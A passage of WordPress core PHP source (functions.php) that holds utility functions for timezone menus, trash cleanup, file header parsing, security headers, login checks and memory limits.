4820 if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
4821 $structure[] = '</optgroup>';
4822 }
4823 }
4824
4825 // Do UTC
4826 $structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
4827 $selected = '';
4828 if ( 'UTC' === $selected_zone )
4829 $selected = 'selected="selected" ';
4830 $structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
4831 $structure[] = '</optgroup>';
4832
4833 // Do manual UTC offsets
4834 $structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
4835 $offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
4836 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
4837 foreach ( $offset_range as $offset ) {
4838 if ( 0 <= $offset )
4839 $offset_name = '+' . $offset;
4840 else
4841 $offset_name = (string) $offset;
4842
4843 $offset_value = $offset_name;
4844 $offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
4845 $offset_name = 'UTC' . $offset_name;
4846 $offset_value = 'UTC' . $offset_value;
4847 $selected = '';
4848 if ( $offset_value === $selected_zone )
4849 $selected = 'selected="selected" ';
4850 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
4851
4852 }
4853 $structure[] = '</optgroup>';
4854
4855 return join( "\n", $structure );
4856}
4857
4858/**
4859 * Strip close comment and close php tags from file headers used by WP.
4860 *
4861 * @since 2.8.0
4862 * @access private
4863 *
4864 * @see https://core.trac.wordpress.org/ticket/8497
4865 *
4866 * @param string $str Header comment to clean up.
4867 * @return string
4868 */
4869function _cleanup_header_comment( $str ) {
4870 return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
4871}
4872
4873/**
4874 * Permanently delete comments or posts of any type that have held a status
4875 * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
4876 *
4877 * The default value of `EMPTY_TRASH_DAYS` is 30 (days).
4878 *
4879 * @since 2.9.0
4880 *
4881 * @global wpdb $wpdb WordPress database abstraction object.
4882 */
4883function wp_scheduled_delete() {
4884 global $wpdb;
4885
4886 $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
4887
4888 $posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
4889
4890 foreach ( (array) $posts_to_delete as $post ) {
4891 $post_id = (int) $post['post_id'];
4892 if ( !$post_id )
4893 continue;
4894
4895 $del_post = get_post($post_id);
4896
4897 if ( !$del_post || 'trash' != $del_post->post_status ) {
4898 delete_post_meta($post_id, '_wp_trash_meta_status');
4899 delete_post_meta($post_id, '_wp_trash_meta_time');
4900 } else {
4901 wp_delete_post($post_id);
4902 }
4903 }
4904
4905 $comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
4906
4907 foreach ( (array) $comments_to_delete as $comment ) {
4908 $comment_id = (int) $comment['comment_id'];
4909 if ( !$comment_id )
4910 continue;
4911
4912 $del_comment = get_comment($comment_id);
4913
4914 if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
4915 delete_comment_meta($comment_id, '_wp_trash_meta_time');
4916 delete_comment_meta($comment_id, '_wp_trash_meta_status');
4917 } else {
4918 wp_delete_comment( $del_comment );
4919 }
4920 }
4921}
4922
4923/**
4924 * Retrieve metadata from a file.
4925 *
4926 * Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
4927 * Each piece of metadata must be on its own line. Fields can not span multiple
4928 * lines, the value will get cut at the end of the first line.
4929 *
4930 * If the file data is not within that first 8kiB, then the author should correct
4931 * their plugin file and move the data headers to the top.
4932 *
4933 * @link https://codex.wordpress.org/File_Header
4934 *
4935 * @since 2.9.0
4936 *
4937 * @param string $file Path to the file.
4938 * @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
4939 * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
4940 * Default empty.
4941 * @return array Array of file headers in `HeaderKey => Header Value` format.
4942 */
4943function get_file_data( $file, $default_headers, $context = '' ) {
4944 // We don't need to write to the file, so just open for reading.
4945 $fp = fopen( $file, 'r' );
4946
4947 // Pull only the first 8kiB of the file in.
4948 $file_data = fread( $fp, 8192 );
4949
4950 // PHP will close file handle, but we are good citizens.
4951 fclose( $fp );
4952
4953 // Make sure we catch CR-only line endings.
4954 $file_data = str_replace( "\r", "\n", $file_data );
4955
4956 /**
4957 * Filters extra file headers by context.
4958 *
4959 * The dynamic portion of the hook name, `$context`, refers to
4960 * the context where extra headers might be loaded.
4961 *
4962 * @since 2.9.0
4963 *
4964 * @param array $extra_context_headers Empty array by default.
4965 */
4966 if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
4967 $extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
4968 $all_headers = array_merge( $extra_headers, (array) $default_headers );
4969 } else {
4970 $all_headers = $default_headers;
4971 }
4972
4973 foreach ( $all_headers as $field => $regex ) {
4974 if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
4975 $all_headers[ $field ] = _cleanup_header_comment( $match[1] );
4976 else
4977 $all_headers[ $field ] = '';
4978 }
4979
4980 return $all_headers;
4981}
4982
4983/**
4984 * Returns true.
4985 *
4986 * Useful for returning true to filters easily.
4987 *
4988 * @since 3.0.0
4989 *
4990 * @see __return_false()
4991 *
4992 * @return true True.
4993 */
4994function __return_true() {
4995 return true;
4996}
4997
4998/**
4999 * Returns false.
5000 *
5001 * Useful for returning false to filters easily.
5002 *
5003 * @since 3.0.0
5004 *
5005 * @see __return_true()
5006 *
5007 * @return false False.
5008 */
5009function __return_false() {
5010 return false;
5011}
5012
5013/**
5014 * Returns 0.
5015 *
5016 * Useful for returning 0 to filters easily.
5017 *
5018 * @since 3.0.0
5019 *
5020 * @return int 0.
5021 */
5022function __return_zero() {
5023 return 0;
5024}
5025
5026/**
5027 * Returns an empty array.
5028 *
5029 * Useful for returning an empty array to filters easily.
5030 *
5031 * @since 3.0.0
5032 *
5033 * @return array Empty array.
5034 */
5035function __return_empty_array() {
5036 return array();
5037}
5038
5039/**
5040 * Returns null.
5041 *
5042 * Useful for returning null to filters easily.
5043 *
5044 * @since 3.4.0
5045 *
5046 * @return null Null value.
5047 */
5048function __return_null() {
5049 return null;
5050}
5051
5052/**
5053 * Returns an empty string.
5054 *
5055 * Useful for returning an empty string to filters easily.
5056 *
5057 * @since 3.7.0
5058 *
5059 * @see __return_null()
5060 *
5061 * @return string Empty string.
5062 */
5063function __return_empty_string() {
5064 return '';
5065}
5066
5067/**
5068 * Send a HTTP header to disable content type sniffing in browsers which support it.
5069 *
5070 * @since 3.0.0
5071 *
5072 * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
5073 * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
5074 */
5075function send_nosniff_header() {
5076 @header( 'X-Content-Type-Options: nosniff' );
5077}
5078
5079/**
5080 * Return a MySQL expression for selecting the week number based on the start_of_week option.
5081 *
5082 * @ignore
5083 * @since 3.0.0
5084 *
5085 * @param string $column Database column.
5086 * @return string SQL clause.
5087 */
5088function _wp_mysql_week( $column ) {
5089 switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
5090 case 1 :
5091 return "WEEK( $column, 1 )";
5092 case 2 :
5093 case 3 :
5094 case 4 :
5095 case 5 :
5096 case 6 :
5097 return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
5098 case 0 :
5099 default :
5100 return "WEEK( $column, 0 )";
5101 }
5102}
5103
5104/**
5105 * Find hierarchy loops using a callback function that maps object IDs to parent IDs.
5106 *
5107 * @since 3.1.0
5108 * @access private
5109 *
5110 * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
5111 * @param int $start The ID to start the loop check at.
5112 * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
5113 * Use null to always use $callback
5114 * @param array $callback_args Optional. Additional arguments to send to $callback.
5115 * @return array IDs of all members of loop.
5116 */
5117function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
5118 $override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
5119
5120 if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
5121 return array();
5122
5123 return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
5124}
5125
5126/**
5127 * Use the "The Tortoise and the Hare" algorithm to detect loops.
5128 *
5129 * For every step of the algorithm, the hare takes two steps and the tortoise one.
5130 * If the hare ever laps the tortoise, there must be a loop.
5131 *
5132 * @since 3.1.0
5133 * @access private
5134 *
5135 * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
5136 * @param int $start The ID to start the loop check at.
5137 * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
5138 * Default empty array.
5139 * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
5140 * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
5141 * to true if you already know the given $start is part of a loop (otherwise
5142 * the returned array might include branches). Default false.
5143 * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
5144 * $_return_loop
5145 */
5146function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
5147 $tortoise = $hare = $evanescent_hare = $start;
5148 $return = array();
5149
5150 // Set evanescent_hare to one past hare
5151 // Increment hare two steps
5152 while (
5153 $tortoise
5154 &&
5155 ( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
5156 &&
5157 ( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
5158 ) {
5159 if ( $_return_loop )
5160 $return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
5161
5162 // tortoise got lapped - must be a loop
5163 if ( $tortoise == $evanescent_hare || $tortoise == $hare )
5164 return $_return_loop ? $return : $tortoise;
5165
5166 // Increment tortoise by one step
5167 $tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
5168 }
5169
5170 return false;
5171}
5172
5173/**
5174 * Send a HTTP header to limit rendering of pages to same origin iframes.
5175 *
5176 * @since 3.1.3
5177 *
5178 * @see https://developer.mozilla.org/en/the_x-frame-options_response_header
5179 */
5180function send_frame_options_header() {
5181 @header( 'X-Frame-Options: SAMEORIGIN' );
5182}
5183
5184/**
5185 * Retrieve a list of protocols to allow in HTML attributes.
5186 *
5187 * @since 3.3.0
5188 * @since 4.3.0 Added 'webcal' to the protocols array.
5189 * @since 4.7.0 Added 'urn' to the protocols array.
5190 *
5191 * @see wp_kses()
5192 * @see esc_url()
5193 *
5194 * @staticvar array $protocols
5195 *
5196 * @return array Array of allowed protocols. Defaults to an array containing 'http', 'https',
5197 * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
5198 * 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
5199 */
5200function wp_allowed_protocols() {
5201 static $protocols = array();
5202
5203 if ( empty( $protocols ) ) {
5204 $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
5205 }
5206
5207 if ( ! did_action( 'wp_loaded' ) ) {
5208 /**
5209 * Filters the list of protocols allowed in HTML attributes.
5210 *
5211 * @since 3.0.0
5212 *
5213 * @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
5214 */
5215 $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
5216 }
5217
5218 return $protocols;
5219}
5220
5221/**
5222 * Return a comma-separated string of functions that have been called to get
5223 * to the current point in code.
5224 *
5225 * @since 3.4.0
5226 *
5227 * @see https://core.trac.wordpress.org/ticket/19589
5228 *
5229 * @param string $ignore_class Optional. A class to ignore all function calls within - useful
5230 * when you want to just give info about the callee. Default null.
5231 * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
5232 * back to the source of the issue. Default 0.
5233 * @param bool $pretty Optional. Whether or not you want a comma separated string or raw
5234 * array returned. Default true.
5235 * @return string|array Either a string containing a reversed comma separated trace or an array
5236 * of individual calls.
5237 */
5238function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
5239 if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
5240 $trace = debug_backtrace( false );
5241 else
5242 $trace = debug_backtrace();
5243
5244 $caller = array();
5245 $check_class = ! is_null( $ignore_class );
5246 $skip_frames++; // skip this function
5247
5248 foreach ( $trace as $call ) {
5249 if ( $skip_frames > 0 ) {
5250 $skip_frames--;
5251 } elseif ( isset( $call['class'] ) ) {
5252 if ( $check_class && $ignore_class == $call['class'] )
5253 continue; // Filter out calls
5254
5255 $caller[] = "{$call['class']}{$call['type']}{$call['function']}";
5256 } else {
5257 if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
5258 $caller[] = "{$call['function']}('{$call['args'][0]}')";
5259 } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
5260 $caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
5261 } else {
5262 $caller[] = $call['function'];
5263 }
5264 }
5265 }
5266 if ( $pretty )
5267 return join( ', ', array_reverse( $caller ) );
5268 else
5269 return $caller;
5270}
5271
5272/**
5273 * Retrieve ids that are not already present in the cache.
5274 *
5275 * @since 3.4.0
5276 * @access private
5277 *
5278 * @param array $object_ids ID list.
5279 * @param string $cache_key The cache bucket to check against.
5280 *
5281 * @return array List of ids not present in the cache.
5282 */
5283function _get_non_cached_ids( $object_ids, $cache_key ) {
5284 $clean = array();
5285 foreach ( $object_ids as $id ) {
5286 $id = (int) $id;
5287 if ( !wp_cache_get( $id, $cache_key ) ) {
5288 $clean[] = $id;
5289 }
5290 }
5291
5292 return $clean;
5293}
5294
5295/**
5296 * Test if the current device has the capability to upload files.
5297 *
5298 * @since 3.4.0
5299 * @access private
5300 *
5301 * @return bool Whether the device is able to upload files.
5302 */
5303function _device_can_upload() {
5304 if ( ! wp_is_mobile() )
5305 return true;
5306
5307 $ua = $_SERVER['HTTP_USER_AGENT'];
5308
5309 if ( strpos($ua, 'iPhone') !== false
5310 || strpos($ua, 'iPad') !== false
5311 || strpos($ua, 'iPod') !== false ) {
5312 return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
5313 }
5314
5315 return true;
5316}
5317
5318/**
5319 * Test if a given path is a stream URL
5320 *
5321 * @since 3.5.0
5322 *
5323 * @param string $path The resource path or URL.
5324 * @return bool True if the path is a stream URL.
5325 */
5326function wp_is_stream( $path ) {
5327 if ( false === strpos( $path, '://' ) ) {
5328 // $path isn't a stream
5329 return false;
5330 }
5331
5332 $wrappers = stream_get_wrappers();
5333 $wrappers = array_map( 'preg_quote', $wrappers );
5334 $wrappers_re = '(' . join( '|', $wrappers ) . ')';
5335
5336 return preg_match( "!^$wrappers_re://!", $path ) === 1;
5337}
5338
5339/**
5340 * Test if the supplied date is valid for the Gregorian calendar.
5341 *
5342 * @since 3.5.0
5343 *
5344 * @see checkdate()
5345 *
5346 * @param int $month Month number.
5347 * @param int $day Day number.
5348 * @param int $year Year number.
5349 * @param string $source_date The date to filter.
5350 * @return bool True if valid date, false if not valid date.
5351 */
5352function wp_checkdate( $month, $day, $year, $source_date ) {
5353 /**
5354 * Filters whether the given date is valid for the Gregorian calendar.
5355 *
5356 * @since 3.5.0
5357 *
5358 * @param bool $checkdate Whether the given date is valid.
5359 * @param string $source_date Date to check.
5360 */
5361 return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
5362}
5363
5364/**
5365 * Load the auth check for monitoring whether the user is still logged in.
5366 *
5367 * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
5368 *
5369 * This is disabled for certain screens where a login screen could cause an
5370 * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
5371 * for fine-grained control.
5372 *
5373 * @since 3.6.0
5374 */
5375function wp_auth_check_load() {
5376 if ( ! is_admin() && ! is_user_logged_in() )
5377 return;
5378
5379 if ( defined( 'IFRAME_REQUEST' ) )
5380 return;
5381
5382 $screen = get_current_screen();
5383 $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
5384 $show = ! in_array( $screen->id, $hidden );
5385
5386 /**
5387 * Filters whether to load the authentication check.
5388 *
5389 * Passing a falsey value to the filter will effectively short-circuit
5390 * loading the authentication check.
5391 *
5392 * @since 3.6.0
5393 *
5394 * @param bool $show Whether to load the authentication check.
5395 * @param WP_Screen $screen The current screen object.
5396 */
5397 if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
5398 wp_enqueue_style( 'wp-auth-check' );
5399 wp_enqueue_script( 'wp-auth-check' );
5400
5401 add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
5402 add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
5403 }
5404}
5405
5406/**
5407 * Output the HTML that shows the wp-login dialog when the user is no longer logged in.
5408 *
5409 * @since 3.6.0
5410 */
5411function wp_auth_check_html() {
5412 $login_url = wp_login_url();
5413 $current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
5414 $same_domain = ( strpos( $login_url, $current_domain ) === 0 );
5415
5416 /**
5417 * Filters whether the authentication check originated at the same domain.
5418 *
5419 * @since 3.6.0
5420 *
5421 * @param bool $same_domain Whether the authentication check originated at the same domain.
5422 */
5423 $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
5424 $wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
5425
5426 ?>
5427 <div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
5428 <div id="wp-auth-check-bg"></div>
5429 <div id="wp-auth-check">
5430 <button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
5431 <?php
5432
5433 if ( $same_domain ) {
5434 $login_src = add_query_arg( array(
5435 'interim-login' => '1',
5436 'wp_lang' => get_user_locale(),
5437 ), $login_url );
5438 ?>
5439 <div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
5440 <?php
5441 }
5442
5443 ?>
5444 <div class="wp-auth-fallback">
5445 <p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
5446 <p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
5447 <?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
5448 </div>
5449 </div>
5450 </div>
5451 <?php
5452}
5453
5454/**
5455 * Check whether a user is still logged in, for the heartbeat.
5456 *
5457 * Send a result that shows a log-in box if the user is no longer logged in,
5458 * or if their cookie is within the grace period.
5459 *
5460 * @since 3.6.0
5461 *
5462 * @global int $login_grace_period
5463 *
5464 * @param array $response The Heartbeat response.
5465 * @return array $response The Heartbeat response with 'wp-auth-check' value set.
5466 */
5467function wp_auth_check( $response ) {
5468 $response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
5469 return $response;
5470}
5471
5472/**
5473 * Return RegEx body to liberally match an opening HTML tag.
5474 *
5475 * Matches an opening HTML tag that:
5476 * 1. Is self-closing or
5477 * 2. Has no body but has a closing tag of the same name or
5478 * 3. Contains a body and a closing tag of the same name
5479 *
5480 * Note: this RegEx does not balance inner tags and does not attempt
5481 * to produce valid HTML
5482 *
5483 * @since 3.6.0
5484 *
5485 * @param string $tag An HTML tag name. Example: 'video'.
5486 * @return string Tag RegEx.
5487 */
5488function get_tag_regex( $tag ) {
5489 if ( empty( $tag ) )
5490 return;
5491 return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
5492}
5493
5494/**
5495 * Retrieve a canonical form of the provided charset appropriate for passing to PHP
5496 * functions such as htmlspecialchars() and charset html attributes.
5497 *
5498 * @since 3.6.0
5499 * @access private
5500 *
5501 * @see https://core.trac.wordpress.org/ticket/23688
5502 *
5503 * @param string $charset A charset name.
5504 * @return string The canonical form of the charset.
5505 */
5506function _canonical_charset( $charset ) {
5507 if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset) ) {
5508
5509 return 'UTF-8';
5510 }
5511
5512 if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
5513
5514 return 'ISO-8859-1';
5515 }
5516
5517 return $charset;
5518}
5519
5520/**
5521 * Set the mbstring internal encoding to a binary safe encoding when func_overload
5522 * is enabled.
5523 *
5524 * When mbstring.func_overload is in use for multi-byte encodings, the results from
5525 * strlen() and similar functions respect the utf8 characters, causing binary data
5526 * to return incorrect lengths.
5527 *
5528 * This function overrides the mbstring encoding to a binary-safe encoding, and
5529 * resets it to the users expected encoding afterwards through the
5530 * `reset_mbstring_encoding` function.
5531 *
5532 * It is safe to recursively call this function, however each
5533 * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
5534 * of `reset_mbstring_encoding()` calls.
5535 *
5536 * @since 3.7.0
5537 *
5538 * @see reset_mbstring_encoding()
5539 *
5540 * @staticvar array $encodings
5541 * @staticvar bool $overloaded
5542 *
5543 * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
5544 * Default false.
5545 */
5546function mbstring_binary_safe_encoding( $reset = false ) {
5547 static $encodings = array();
5548 static $overloaded = null;
5549
5550 if ( is_null( $overloaded ) )
5551 $overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
5552
5553 if ( false === $overloaded )
5554 return;
5555
5556 if ( ! $reset ) {
5557 $encoding = mb_internal_encoding();
5558 array_push( $encodings, $encoding );
5559 mb_internal_encoding( 'ISO-8859-1' );
5560 }
5561
5562 if ( $reset && $encodings ) {
5563 $encoding = array_pop( $encodings );
5564 mb_internal_encoding( $encoding );
5565 }
5566}
5567
5568/**
5569 * Reset the mbstring internal encoding to a users previously set encoding.
5570 *
5571 * @see mbstring_binary_safe_encoding()
5572 *
5573 * @since 3.7.0
5574 */
5575function reset_mbstring_encoding() {
5576 mbstring_binary_safe_encoding( true );
5577}
5578
5579/**
5580 * Filter/validate a variable as a boolean.
5581 *
5582 * Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
5583 *
5584 * @since 4.0.0
5585 *
5586 * @param mixed $var Boolean value to validate.
5587 * @return bool Whether the value is validated.
5588 */
5589function wp_validate_boolean( $var ) {
5590 if ( is_bool( $var ) ) {
5591 return $var;
5592 }
5593
5594 if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
5595 return false;
5596 }
5597
5598 return (bool) $var;
5599}
5600
5601/**
5602 * Delete a file
5603 *
5604 * @since 4.2.0
5605 *
5606 * @param string $file The path to the file to delete.
5607 */
5608function wp_delete_file( $file ) {
5609 /**
5610 * Filters the path of the file to delete.
5611 *
5612 * @since 2.1.0
5613 *
5614 * @param string $file Path to the file to delete.
5615 */
5616 $delete = apply_filters( 'wp_delete_file', $file );
5617 if ( ! empty( $delete ) ) {
5618 @unlink( $delete );
5619 }
5620}
5621
5622/**
5623 * Deletes a file if its path is within the given directory.
5624 *
5625 * @since 4.9.7
5626 *
5627 * @param string $file Absolute path to the file to delete.
5628 * @param string $directory Absolute path to a directory.
5629 * @return bool True on success, false on failure.
5630 */
5631function wp_delete_file_from_directory( $file, $directory ) {
5632 $real_file = realpath( wp_normalize_path( $file ) );
5633 $real_directory = realpath( wp_normalize_path( $directory ) );
5634
5635 if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
5636 return false;
5637 }
5638
5639 wp_delete_file( $file );
5640
5641 return true;
5642}
5643
5644/**
5645 * Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
5646 *
5647 * This prevents reusing the same tab for a preview when the user has navigated away.
5648 *
5649 * @since 4.3.0
5650 *
5651 * @global WP_Post $post
5652 */
5653function wp_post_preview_js() {
5654 global $post;
5655
5656 if ( ! is_preview() || empty( $post ) ) {
5657 return;
5658 }
5659
5660 // Has to match the window name used in post_submit_meta_box()
5661 $name = 'wp-preview-' . (int) $post->ID;
5662
5663 ?>
5664 <script>
5665 ( function() {
5666 var query = document.location.search;
5667
5668 if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
5669 window.name = '<?php echo $name; ?>';
5670 }
5671
5672 if ( window.addEventListener ) {
5673 window.addEventListener( 'unload', function() { window.name = ''; }, false );
5674 }
5675 }());
5676 </script>
5677 <?php
5678}
5679
5680/**
5681 * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601/RFC3339.
5682 *
5683 * Explicitly strips timezones, as datetimes are not saved with any timezone
5684 * information. Including any information on the offset could be misleading.
5685 *
5686 * @since 4.4.0
5687 *
5688 * @param string $date_string Date string to parse and format.
5689 * @return string Date formatted for ISO8601/RFC3339.
5690 */
5691function mysql_to_rfc3339( $date_string ) {
5692 $formatted = mysql2date( 'c', $date_string, false );
5693
5694 // Strip timezone information
5695 return preg_replace( '/(?:Z|[+-]\d{2}(?::\d{2})?)$/', '', $formatted );
5696}
5697
5698/**
5699 * Attempts to raise the PHP memory limit for memory intensive processes.
5700 *
5701 * Only allows raising the existing limit and prevents lowering it.
5702 *
5703 * @since 4.6.0
5704 *
5705 * @param string $context Optional. Context in which the function is called. Accepts either 'admin',
5706 * 'image', or an arbitrary other context. If an arbitrary context is passed,
5707 * the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
5708 * invoked. Default 'admin'.
5709 * @return bool|int|string The limit that was set or false on failure.
5710 */
5711function wp_raise_memory_limit( $context = 'admin' ) {
5712 // Exit early if the limit cannot be changed.
5713 if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
5714 return false;
5715 }
5716
5717 $current_limit = @ini_get( 'memory_limit' );
5718 $current_limit_int = wp_convert_hr_to_bytes( $current_limit );
5719
5720 if ( -1 === $current_limit_int ) {
5721 return false;
5722 }
5723
5724 $wp_max_limit = WP_MAX_MEMORY_LIMIT;
5725 $wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
5726 $filtered_limit = $wp_max_limit;
5727
5728 switch ( $context ) {
5729 case 'admin':
5730 /**
5731 * Filters the maximum memory limit available for administration screens.
5732 *
5733 * This only applies to administrators, who may require more memory for tasks
5734 * like updates. Memory limits when processing images (uploaded or edited by
5735 * users of any role) are handled separately.
5736 *
5737 * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
5738 * limit available when in the administration back end. The default is 256M
5739 * (256 megabytes of memory) or the original `memory_limit` php.ini value if
5740 * this is higher.
5741 *
5742 * @since 3.0.0
5743 * @since 4.6.0 The default now takes the original `memory_limit` into account.
5744 *
5745 * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
5746 * (bytes), or a shorthand string notation, such as '256M'.
5747 */
5748 $filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
5749 break;
5750
5751 case 'image':
5752 /**
5753 * Filters the memory limit allocated for image manipulation.
5754 *
5755 * @since 3.5.0
5756 * @since 4.6.0 The default now takes the original `memory_limit` into account.
5757 *
5758 * @param int|string $filtered_limit Maximum memory limit to allocate for images.
5759 * Default `WP_MAX_MEMORY_LIMIT` or the original
5760 * php.ini `memory_limit`, whichever is higher.
5761 * Accepts an integer (bytes), or a shorthand string
5762 * notation, such as '256M'.
5763 */
5764 $filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
5765 break;
5766
5767 default:
5768 /**
5769 * Filters the memory limit allocated for arbitrary contexts.
5770 *
5771 * The dynamic portion of the hook name, `$context`, refers to an arbitrary
5772 * context passed on calling the function. This allows for plugins to define
5773 * their own contexts for raising the memory limit.
5774 *
5775 * @since 4.6.0
5776 *
5777 * @param int|string $filtered_limit Maximum memory limit to allocate for images.
5778 * Default '256M' or the original php.ini `memory_limit`,
5779 * whichever is higher. Accepts an integer (bytes), or a
5780 * shorthand string notation, such as '256M'.
5781 */
5782 $filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
5783 break;
5784 }
5785
5786 $filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
5787
